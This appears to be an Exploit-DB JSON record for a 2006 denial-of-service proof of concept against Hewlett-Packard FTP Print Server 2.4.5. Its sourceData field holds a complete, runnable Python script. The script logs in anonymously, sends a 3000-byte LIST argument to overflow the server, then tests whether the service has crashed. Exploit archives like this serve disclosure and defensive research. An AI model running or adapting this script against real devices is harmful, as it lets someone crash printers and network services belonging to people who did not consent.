{"bulletinFamily": "exploit", "id": "EDB-ID:2961", "cvelist": [], "modified": "2006-12-19T00:00:00", "lastseen": "2016-01-31T17:25:35", "edition": 1, "sourceData": "#!/usr/bin/python\n\nimport sys\nfrom ftplib import FTP\n\nprint \"Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)\"\nprint \"Copyright (c) Joxean Koret\"\nprint\n\nif len(sys.argv) == 1:\n print \"Usage: %s <target>\" % sys.argv[0]\n sys.exit(0)\n\ntarget = sys.argv[1]\n\nprint \"[+] Running attack against \" + target\n\ntry:\n ftp = FTP(target)\nexcept:\n print \"[!] Can't connect to target\", target, \".\", sys.exc_info()[1]\n sys.exit(0)\ntry:\n msg = ftp.login() # Login anonymously\n print msg\nexcept:\n print \"[!] Error logging anonymously.\",sys.exc_info()[1]\n sys.exit(0)\n\nbuf = \"./A\"\niMax = 9\n\nfor i in range(iMax):\n buf += buf\n\nprint \"[+] Sending buffer of\",len(buf[0:3000]),\"byte(s) ... \"\n\ntry:\n print \"[+] Please, note that sometimes your connection will not be dropped. \"\n ftp.retrlines(\"LIST \" + buf[0:3000])\n print \"[!] Exploit doesn't work :(\"\n print\n sys.exit(0)\nexcept:\n print \"[+] Apparently exploit works. Verifying ... \"\n print sys.exc_info()[1]\n\nftp2 = FTP(target)\n\ntry:\n msg = ftp2.login()\n print \"[!] No, it doesn't work :( \"\n print\n print msg\n sys.exit(0)\nexcept:\n print \"[+] Yes, it works.\"\n print sys.exc_info()[1]\n\n# milw0rm.com [2006-12-19]\n", "published": "2006-12-19T00:00:00", "href": "https://www.exploit-db.com/exploits/2961/", "osvdbidlist": [], "reporter": "Joxean Koret", "hash": "bc82cfb9beb17ad2e4273657a24449a7c498bbe908ff9a04f232dfffa6e76fb5", "title": "Hewlett-Packard FTP Print Server <= 2.4.5 - Buffer Overflow PoC", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "Hewlett-Packard FTP Print Server <= 2.4.5 Buffer Overflow (PoC). Dos exploit for hardware platform", "references": [], "cvss": {"score": 0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/2961/", "enchantments": {"vulnersScore": 6.4}}

{"result": {}}